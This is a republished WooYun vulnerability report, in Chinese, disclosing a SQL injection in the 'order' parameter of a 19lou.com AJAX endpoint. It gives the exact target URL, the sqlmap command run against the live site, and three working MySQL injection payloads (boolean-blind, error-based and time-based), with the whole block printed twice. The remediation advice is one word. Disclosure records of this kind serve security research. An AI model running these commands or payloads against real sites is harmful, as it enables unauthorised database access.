19lou主站存在SQL注入

admin 2017年3月25日20:17:05评论343 views字数 199阅读0分39秒阅读模式
摘要

2016-03-21: 细节已通知厂商并且等待厂商处理中
2016-03-21: 厂商已经确认,细节仅向厂商公开
2016-03-31: 细节向核心白帽子及相关领域专家公开
2016-04-10: 细节向普通白帽子公开
2016-04-20: 细节向实习白帽子公开
2016-05-05: 细节向公众公开

漏洞概要 关注数(15) 关注此漏洞

缺陷编号: WooYun-2016-187243

漏洞标题: 19lou主站存在SQL注入

相关厂商: 十九楼

漏洞作者: firexp

提交时间: 2016-03-21 12:05

公开时间: 2016-05-05 12:08

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

2人收藏


漏洞详情

披露状态:

2016-03-21: 细节已通知厂商并且等待厂商处理中
2016-03-21: 厂商已经确认,细节仅向厂商公开
2016-03-31: 细节向核心白帽子及相关领域专家公开
2016-04-10: 细节向普通白帽子公开
2016-04-20: 细节向实习白帽子公开
2016-05-05: 细节向公众公开

简要描述:

注入

详细说明:

code 区域
http://www.19lou.com/topic/activity/activity_ajax.php?obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon

order参数存在注入

python sqlmap.py -c sqlmap.conf -u "http://www.19lou.com/topic/activity/activity_ajax.php?obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon" --level 2 --dbms=mysql -p order --current-user

_

___ ___| |_____ ___ ___ {1.0-stable}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:03:48

[12:03:48] [INFO] fetched random HTTP User-Agent header from file 'D:/Tools/sqlmap-1.0/txt/user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0'

[12:03:48] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: order (GET)

Type: boolean-based blind

Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id RLIKE (SELECT (CASE WHEN (2454=2454) THEN 0x6964 ELSE 0x28 END))&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id AND (SELECT 1842 FROM(SELECT COUNT(*),CONCAT(0x716a707871,(SELECT (ELT(1842=1842,1))),0x716b627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND/OR time-based blind (SELECT)

Payload: obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id XOR (SELECT * FROM (SELECT(SLEEP(3)))WFpw)&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon

---

[12:03:48] [INFO] testing MySQL

[12:03:48] [INFO] confirming MySQL

[12:03:48] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL >= 5.0.0

[12:03:48] [INFO] fetching current user

[12:03:48] [INFO] resumed: %.%

current user: '%.%'

漏洞证明:

code 区域
http://www.19lou.com/topic/activity/activity_ajax.php?obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon

order参数存在注入

python sqlmap.py -c sqlmap.conf -u "http://www.19lou.com/topic/activity/activity_ajax.php?obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon" --level 2 --dbms=mysql -p order --current-user

_

___ ___| |_____ ___ ___ {1.0-stable}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:03:48

[12:03:48] [INFO] fetched random HTTP User-Agent header from file 'D:/Tools/sqlmap-1.0/txt/user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0'

[12:03:48] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: order (GET)

Type: boolean-based blind

Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id RLIKE (SELECT (CASE WHEN (2454=2454) THEN 0x6964 ELSE 0x28 END))&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id AND (SELECT 1842 FROM(SELECT COUNT(*),CONCAT(0x716a707871,(SELECT (ELT(1842=1842,1))),0x716b627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND/OR time-based blind (SELECT)

Payload: obj=activity_item&req=items_by_page&activity_name=sh-2013-ruilinvxing&order=id XOR (SELECT * FROM (SELECT(SLEEP(3)))WFpw)&asc=asc&order2=&asc2=&col_num=1&per_page=100&page=1&category=sh-ruilinvxing-moon

---

[12:03:48] [INFO] testing MySQL

[12:03:48] [INFO] confirming MySQL

[12:03:48] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL >= 5.0.0

[12:03:48] [INFO] fetching current user

[12:03:48] [INFO] resumed: %.%

current user: '%.%'

修复方案:

过滤

版权声明:转载请注明来源 firexp@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-03-21 12:08

厂商回复:

哎哟我去,谢谢楼主

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-21 12:43 | 泪雨无魂 ( 普通白帽子 | Rank:318 漏洞数:72 | too young too simple)

    1

    哎哟我去,谢谢楼主

  2. 2016-03-21 13:59 | 枫子 ( 路人 | Rank:14 漏洞数:5 | 酱油安全爱好者一枚。)

    1

    哎哟我去,谢谢楼主

  3. 2016-03-21 14:06 | secart ( 实习白帽子 | Rank:50 漏洞数:9 | 这个人很懒,什么都没留。)

    1

    哎哟我去,谢谢楼主

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin